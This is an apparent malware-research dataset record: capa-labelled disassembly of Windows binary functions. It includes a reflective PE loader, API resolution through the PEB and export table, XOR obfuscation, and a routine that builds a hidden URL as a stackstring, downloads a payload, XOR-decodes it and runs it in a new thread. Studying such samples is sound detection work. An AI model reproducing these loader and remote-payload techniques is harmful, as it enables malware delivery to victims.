joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001440
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov eax, 0x5a4d
cmp word [0x1800175b0], ax
je 0x180001459
xor eax, eax
add rsp, 0x28
ret
mov qword [rsp + 0x40], rsi
movsxd rsi, dword [0x1800175ec]
mov qword [rsp + 0x20], r14
lea r14, [0x1800175b0]
add rsi, r14
cmp dword [rsi], 0x4550
je 0x18000148d
mov rsi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x20]
xor eax, eax
add rsp, 0x28
ret
mov edx, dword [rsi + 0x50]
mov rcx, qword [rsi + 0x30]
mov r9d, 4
mov r8d, 0x2000
mov qword [rsp + 0x38], rbp
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
jne 0x1800014e4
mov edx, dword [rsi + 0x50]
lea r9d, [rax + 4]
xor ecx, ecx
mov r8d, 0x2000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
jne 0x1800014e4
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x20]
add rsp, 0x28
ret
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x48], rdi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 0x20]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x1000
mov rcx, rbp
mov rdi, rax
mov qword [rax + 8], rbp
xor eax, eax
mov qword [rdi + 0x18], rax
mov qword [rdi + 0x10], rax
mov edx, dword [rsi + 0x50]
lea r9d, [rax + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [rsi + 0x54]
mov r9d, 4
mov r8d, 0x1000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsi + 0x54]
mov rdx, r14
add r8d, dword [0x1800175ec]
mov rcx, rax
mov rbx, rax
call fcn.180009140
movsxd rax, dword [0x1800175ec]
mov r8, rdi
add rax, rbx
mov rdx, rsi
mov qword [rdi], rax
mov qword [rax + 0x30], rbp
call section..text
mov rbx, qword [rsp + 0x30]
mov rdx, rbp
sub rdx, qword [rsi + 0x30]
je 0x18000158d
mov rcx, rdi
call fcn.180001200
mov rcx, rdi
call fcn.1800012b0
test eax, eax
je 0x1800015ce
mov rcx, rdi
call fcn.1800010f0
mov rax, qword [rdi]
mov ecx, dword [rax + 0x28]
test ecx, ecx
je 0x1800015c9
mov eax, ecx
add rax, rbp
je 0x1800015ce
xor r8d, r8d
mov rcx, rbp
lea edx, [r8 + 1]
call rax
test eax, eax
je 0x1800015ce
mov dword [rdi + 0x1c], 1
mov rax, rdi
jmp 0x1800015d8
mov rcx, rdi
call fcn.1800016e0
xor eax, eax
mov rdi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x20]
add rsp, 0x28
ret
Function at 0x180003740
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x2080
call fcn.180009b90
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2070], rax
mov r8, rdx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1800034f0
lea rdi, [0x1800175b0]
lea rbx, [rsp + 0x2020]
lea rax, [0x1800175b4]
mov esi, 0x40
sub rbx, rdi
sub rsi, rax
xor ebp, ebp
lea rcx, [rsp + 0x20]
call fcn.1800017a0
lea rax, [rdi + 4]
mov edx, 4
nop word [rax + rax]
mov ecx, dword [rbx + rax - 4]
lea rax, [rax + 0x10]
xor ecx, dword [rax + rbp - 0x14]
mov dword [rax - 0x14], ecx
mov ecx, dword [rbx + rax - 0x10]
xor ecx, dword [rax + rbp - 0x10]
mov dword [rax - 0x10], ecx
mov ecx, dword [rbx + rax - 0xc]
xor ecx, dword [rax + rbp - 0xc]
mov dword [rax - 0xc], ecx
mov ecx, dword [rbx + rax - 8]
xor ecx, dword [rax + rbp - 8]
mov dword [rax - 8], ecx
dec rdx
jne 0x1800037c0
add rdi, 0x40
lea rax, [rsi + 4]
sub rbx, 0x40
add rax, rdi
cmp rax, 0x25000
jbe 0x1800037a2
mov rcx, qword [rsp + 0x2070]
xor rcx, rsp
call fcn.180003a70
lea r11, [rsp + 0x2080]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180003840
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0xba0]
sub rsp, 0xca0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xb90], rax
xor eax, eax
mov rbx, rcx
lea rcx, [rbp - 0x6f]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x60], 0
mov qword [rsp + 0x61], rax
mov qword [rsp + 0x69], rax
mov qword [rsp + 0x71], rax
mov qword [rsp + 0x79], rax
mov byte [rbp - 0x70], al
call fcn.180007d40
or rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], 0
jne 0x1800038a1
xor edi, edi
or r9d, 0xffffffff
mov r8, rbx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], eax
lea rax, [rbp - 0x70]
mov edx, 0x200
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rcx, [rsp + 0x60]
movups xmm0, xmmword [str.ei9sK_a8_eil_wQd__]
movsd xmm1, qword [0x180014310]
mov dword [rsp + 0x40], 0x47575137
mov dword [rsp + 0x44], 0x655e6f47
mov byte [rsp + 0x48], 0x54
movsd qword [rsp + 0x70], xmm1
movups xmmword [rsp + 0x60], xmm0
dec rcx
nop
cmp byte [rcx + 1], dil
lea rcx, [rcx + 1]
jne 0x180003910
lea r8, [rsp + 0x40]
xor edx, edx
movzx eax, byte [r8 + rdx]
lea rdx, [rdx + 1]
mov byte [rcx + rdx - 1], al
test al, al
jne 0x180003921
lea rcx, [rbp + 0x392]
xor edx, edx
mov r8d, 0x7fe
mov word [rbp + 0x390], di
call fcn.180007d40
lea rcx, [rsp + 0x60]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], dil
jne 0x180003956
mov dword [rsp + 0x28], eax
or r9d, 0xffffffff
lea rax, [rbp + 0x390]
lea r8, [rsp + 0x60]
lea edx, [r9 + 2]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x60]
call fcn.180003740
call fcn.180001440
lea rdx, [rsp + 0x50]
mov rcx, rax
mov dword [rsp + 0x50], 0x57746547
mov dword [rsp + 0x54], 0x6f646e69
mov dword [rsp + 0x58], 0x7a695377
mov word [rsp + 0x5c], 0x6465
mov byte [rsp + 0x5e], 0x57
call fcn.180001600
test rax, rax
je 0x1800039df
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call rax
test rax, rax
jne 0x180003a10
or eax, 0xffffffff
mov rcx, qword [rbp + 0xb90]
xor rcx, rsp
call fcn.180003a70
lea r11, [rsp + 0xca0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180003a10
Function at 0x140002770
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
movsxd rax, dword [rcx + 0x3c]
xor r8d, r8d
mov r10, rcx
mov edx, dword [rax + rcx + 0x88]
add rdx, rcx
mov r11d, dword [rdx + 0x1c]
mov ebx, dword [rdx + 0x20]
mov ebp, dword [rdx + 0x24]
mov r9d, dword [rdx + 0x18]
add r11, rcx
add rbx, rcx
add rbp, rcx
test r9, r9
je 0x1400027e6
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movzx eax, word [rbp + r8*2]
mov esi, dword [rbx + r8*4]
lea rdi, [0x140032020]
mov eax, dword [r11 + rax*4]
add rsi, r10
mov ecx, 0xf
add rax, r10
repe cmpsb byte [rsi], byte [rdi]
je 0x1400027dc
inc r8
cmp r8, r9
jb 0x1400027b0
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x20]
pop rbp
ret
Function at 0x140002ce0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xf0
mov eax, 0x74
xor r13d, r13d
lea r8, [rbp + 0x67]
lea r11d, [rax - 0x13]
mov word [rbp - 0x55], ax
mov eax, 0x79
lea rdx, [rbp + 0x77]
lea rcx, [rbp - 0x59]
mov dword [rbp - 0x59], 0x740068
mov word [rbp - 0x1b], r11w
mov dword [rbp - 0x53], 0x730070
mov dword [rbp - 0x4f], 0x2f003a
mov dword [rbp - 0x4b], 0x62002f
mov dword [rbp - 0x47], 0x690061
mov dword [rbp - 0x43], 0x750064
mov dword [rbp - 0x3f], 0x380038
mov dword [rbp - 0x3b], 0x31002d
mov dword [rbp - 0x37], 0x320033
mov dword [rbp - 0x33], 0x310036
mov dword [rbp - 0x2f], 0x310030
mov dword [rbp - 0x2b], 0x320030
mov dword [rbp - 0x27], 0x2e0038
mov dword [rbp - 0x23], 0x6f0063
mov dword [rbp - 0x1f], 0x2e0073
mov dword [rbp - 0x19], 0x2d0070
mov dword [rbp - 0x15], 0x6f0068
mov dword [rbp - 0x11], 0x67006e
mov dword [rbp - 0xd], 0x6f006b
mov dword [rbp - 9], 0x67006e
mov dword [rbp - 5], 0x6d002e
mov word [rbp - 1], ax
mov dword [rbp + 1], 0x630071
mov dword [rbp + 5], 0x6f006c
mov dword [rbp + 9], 0x640075
mov dword [rbp + 0xd], 0x63002e
mov dword [rbp + 0x11], 0x6d006f
mov dword [rbp + 0x15], 0x37002f
mov dword [rbp + 0x19], 0x2e0037
mov dword [rbp + 0x1d], 0x6e0070
mov dword [rbp + 0x21], 0x67
mov qword [rbp + 0x77], r13
mov dword [rbp + 0x67], r13d
call fcn.1400027f0
test al, al
jne 0x140002e28
lea r9d, [r13 + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140002f42
call fcn.1400090d0
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
je 0x140002e4e
nop dword [rax + rax]
mov rax, qword [rax]
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
jne 0x140002e40
mov rsi, qword [rax + 0x10]
mov rcx, rsi
call fcn.140002770
lea rdx, [rsp + 0x40]
mov rcx, rsi
mov rdi, rax
mov dword [rsp + 0x40], 0x74726956
mov dword [rsp + 0x44], 0x506c6175
mov dword [rsp + 0x48], 0x65746f72
mov word [rbp - 0x7d], 0x7463
mov byte [rbp - 0x7b], r13b
mov dword [rsp + 0x30], 0x61657243
mov dword [rsp + 0x34], 0x68546574
mov dword [rsp + 0x38], 0x64616572
mov byte [rsp + 0x3c], r13b
mov dword [rbp - 0x79], 0x74696157
mov dword [rbp - 0x75], 0x53726f46
mov dword [rbp - 0x71], 0x6c676e69
mov dword [rbp - 0x6d], 0x6a624f65
mov dword [rbp - 0x69], 0x746365
call rdi
lea rdx, [rsp + 0x30]
mov rcx, rsi
mov rbx, rax
call rdi
lea rdx, [rbp - 0x79]
mov rcx, rsi
mov r12, rax
call rdi
mov rdi, qword [rbp + 0x77]
mov edx, 8
lea r8d, [rdx + 0x38]
lea r9, [rbp + 0x6f]
mov rcx, rdi
mov rsi, rax
call rbx
movsxd rdx, dword [rbp + 0x67]
mov r9, rdx
test edx, edx
je 0x140002f1b
mov rcx, rdi
nop dword [rax]
xor byte [rcx], 0x69
inc rcx
dec r9
jne 0x140002f10
mov rcx, rdi
call fcn.140002c50
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call r12
or edx, 0xffffffff
mov rcx, rax
call rsi
mov rbx, qword [rsp + 0x148]
add rsp, 0xf0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140003500
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rdi
sub rsp, 0xb0
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0x48], 7
xor edi, edi
mov qword [rsp + 0x40], rdi
mov word [rsp + 0x30], di
lea r8d, [rdi + 0x1e]
lea rdx, [0x1400320a8]
lea rcx, [rsp + 0x30]
call fcn.140007da0
nop
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rdi
mov word [rsp + 0x58], di
lea r8d, [rdi + 0x1e]
lea rdx, str.C:UsersPublicDesktopQQ.lnk
lea rcx, [rsp + 0x58]
call fcn.140007da0
nop
mov qword [rsp + 0x98], 7
mov qword [rsp + 0x90], rdi
mov word [rsp + 0x80], di
lea r8d, [rdi + 0x1e]
lea rdx, str.C:UsersPublicDesktop_
lea rcx, [rsp + 0x80]
call fcn.140007da0
nop
lea rbx, [rsp + 0x30]
cmp qword [rbx + 0x18], 8
jb 0x1400035b4
mov rcx, qword [rbx]
jmp 0x1400035b7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1400035eb
inc edi
add rbx, 0x28
cmp edi, 3
jb 0x1400035a8
lea r9, [0x1400049b0]
mov edx, 0x28
lea r8d, [rdx - 0x25]
lea rcx, [rsp + 0x30]
call fcn.14000ecd4
xor al, al
jmp 0x140003607
lea r9, [0x1400049b0]
mov edx, 0x28
lea r8d, [rdx - 0x25]
lea rcx, [rsp + 0x30]
call fcn.14000ecd4
mov al, 1
mov rbx, qword [rsp + 0xc0]
add rsp, 0xb0
pop rdi
ret
Function at 0x140006e80
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rdi, rcx
cmp qword [rcx + 0x80], 0
je 0x1400070b9
cmp byte [rcx + 0x89], 0
je 0x1400070b9
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000708d
mov edx, 0xf
mov qword [rbp - 0x10], rdx
mov byte [rbp - 0x28], 0
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], 8
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
xor r12d, r12d
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
nop word [rax + rax]
lea rdx, [rbp - 0x28]
cmp r9, 0x10
cmovae rdx, r10
lea r8, [rbp - 0x28]
cmovae r8, r10
mov rcx, qword [rdi + 0x80]
mov r10, qword [rcx]
mov rax, qword [rbp - 0x18]
lea r9, [rdx + rax]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x8c]
call qword [r10 + 0x30]
test eax, eax
je 0x140006f58
dec eax
jne 0x140007057
jmp 0x140006f5f
mov byte [rdi + 0x89], r12b
lea rax, [rbp - 0x28]
mov r10, qword [rbp - 0x28]
mov r9, qword [rbp - 0x10]
cmp r9, 0x10
cmovae rax, r10
mov rbx, qword [rbp + 0x20]
sub rbx, rax
je 0x140006fad
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov r9, qword [rdi + 0x98]
mov r8, rbx
mov edx, 1
call fcn.14000f2d0
cmp rbx, rax
jne 0x14000707d
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
cmp byte [rdi + 0x89], r12b
je 0x1400070ab
test rbx, rbx
jne 0x140006f10
or rax, 0xffffffffffffffff
mov r8, qword [rbp - 0x18]
sub rax, r8
cmp rax, 8
jbe 0x14000709e
lea rbx, [r8 + 8]
cmp rbx, 0xfffffffffffffffe
ja 0x140007091
cmp r9, rbx
jae 0x140007001
mov rdx, rbx
lea rcx, [rbp - 0x28]
call fcn.1400076b0
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
jmp 0x14000701e
test rbx, rbx
jne 0x140007027
mov qword [rbp - 0x18], r12
lea rax, [rbp - 0x28]
cmp r9, 0x10
cmovae rax, r10
mov byte [rax], r12b
jmp 0x140006efb
test rbx, rbx
je 0x140006f10
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov rax, qword [rbp - 0x18]
xor edx, edx
mov qword [rcx + rax], rdx
mov qword [rbp - 0x18], rbx
lea rax, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rax, qword [rbp - 0x28]
mov byte [rax + rbx], dl
jmp 0x140006efb
sub eax, 2
je 0x140007070
cmp qword [rbp - 0x10], 0x10
jb 0x14000708d
mov rcx, qword [rbp - 0x28]
call fcn.14000f0b4
xor al, al
jmp 0x1400070bb
cmp qword [rbp - 0x10], 0x10
jb 0x1400070b9
mov rcx, qword [rbp - 0x28]
jmp 0x1400070b4
cmp qword [rbp - 0x10], 0x10
jb 0x14000708d
mov rcx, qword [rbp - 0x28]
call fcn.14000f0b4
xor al, al
jmp 0x1400070bb
lea rcx, str.string_too_long
call fcn.1400097e4
int3
lea rcx, str.string_too_long
call fcn.1400097e4
nop
cmp r9, 0x10
jb 0x1400070b9
mov rcx, r10
call fcn.14000f0b4
mov al, 1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret

Function at 0x1400090d0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret
Function at 0x140017cdc
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140017b4c

Function at 0x14001a6a7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14003a950]
jne 0x1400107aa
rol rcx, 0x10
test cx, 0xffff
jne 0x1400107a6
repz ret
ror rcx, 0x10
jmp 0x14001a600
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14003d080]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14003d178]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14001a685
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14003d080]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14001a6a7
mov rax, qword [rsp + 0x88]
mov qword [0x14003d178], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14003d118], rax
mov rax, qword [0x14003d178]
mov qword [0x14003cff0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14003d100], rax
mov dword [0x14003cfe0], 0xc0000409
mov dword [0x14003cfe4], 1
mov rax, qword [0x14003a950]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14003a958]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14003d078], eax
mov ecx, 1
call fcn.14001f0f4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140030210]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14003d078], 0
jne 0x14001a72e
mov ecx, 1
call fcn.14001f0f4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140026dd0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14003a950]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14001734c
xor ebx, ebx
cmp qword [0x14003d648], rbx
mov rdi, rax
jne 0x140026ee3
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140026fba
lea rdx, [0x140031c18]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140026fba
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14003d648], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14003d650], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14003d658], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14003d668], rax
test rax, rax
je 0x140026eda
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14003d660], rax
jmp 0x140026eea
mov rax, qword [0x14003d660]
jmp 0x140026ef1
mov rax, qword [0x14003d660]
mov r11, qword [0x14003d668]
cmp rax, rdi
je 0x140026f58
cmp r11, rdi
je 0x140026f58
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14003d668]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140026f58
test rax, rax
je 0x140026f58
call rsi
test rax, rax
je 0x140026f52
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140026f52
test byte [rsp + 0x40], 1
jne 0x140026f58
bts ebp, 0x15
jmp 0x140026f98
mov rcx, qword [0x14003d650]
cmp rcx, rdi
je 0x140026f98
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140026f98
call rax
mov rbx, rax
test rax, rax
je 0x140026f98
mov rcx, qword [0x14003d658]
cmp rcx, rdi
je 0x140026f98
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140026f98
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14003d648]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140026fba
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140026fbc
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140010790
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14006daa0]
mov dword [rax], 1
mov rax, qword [0x14006dab0]
mov dword [rax], 1
mov rax, qword [0x14006dac0]
mov dword [rax], 1
mov rax, qword [0x14006da90]
mov dword [rax], 1
mov rax, qword [0x14006d8d0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014de
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000150a
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001530
cmp eax, 0x20b
je 0x140001557
jmp 0x140001586
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001543
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001572
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400052e6
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp - 8], 0
cmp qword [rbp + 0x18], 0
je 0x140005316
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sym.nimCStrLen
mov rdx, rax
jmp 0x14000531b
mov edx, 0
mov rax, qword [rbp + 0x18]
mov r9, qword [rbp + 0x10]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
mov rcx, qword [rbp + 0x10]
call sym.fflush
mov dword [rbp - 0xc], eax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14000f5d7
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp - 8], 0
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov r9, qword [rbp + 0x10]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
mov rcx, qword [rbp + 0x10]
call sym.fflush
mov dword [rbp - 0xc], eax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140014dfe
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
lea rax, str.echoBinSafe
mov qword [rbp - 0x58], rax
lea rax, [0x140063698]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov word [rbp - 0x40], 0
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.nimFrame_7
call sym.nimErrorFlag_5
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x50], 0xad7
lea rax, [0x14007b180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x50], 0x12
lea rax, [0x140063fc8]
mov qword [rbp - 0x48], rax
mov qword [rbp - 8], 0
mov qword [rbp - 0x50], 0x13
mov rax, qword [rbp - 8]
cmp rax, qword [rbp + 0x18]
jge 0x140014f5e
mov qword [rbp - 0x50], 0xad8
lea rax, [0x140063698]
mov qword [rbp - 0x48], rax
cmp qword [rbp - 8], 0
js 0x140014ec2
mov rax, qword [rbp - 8]
cmp rax, qword [rbp + 0x18]
jl 0x140014edb
mov rax, qword [rbp + 0x18]
lea rdx, [rax - 1]
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.raiseIndexError2
jmp 0x140014fef
mov rax, qword [rbp - 8]
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x50], 0xaef
mov ecx, 1
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax + 8]
mov rax, qword [rax]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rdx
lea rax, [rbp - 0x70]
mov r8d, 0
mov rdx, rax
call sym.writeWindows__system_u9015
mov rax, qword [rbp - 0x10]
movzx eax, byte [rax]
movzx eax, al
test eax, eax
jne 0x140014fee
mov qword [rbp - 0x50], 0xd
lea rax, [0x140063fc8]
mov qword [rbp - 0x48], rax
add qword [rbp - 8], 1
jmp 0x140014e90
nop
mov qword [rbp - 0x50], 0xaf3
lea rax, [0x140063698]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x20], 0
mov ecx, 1
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 1
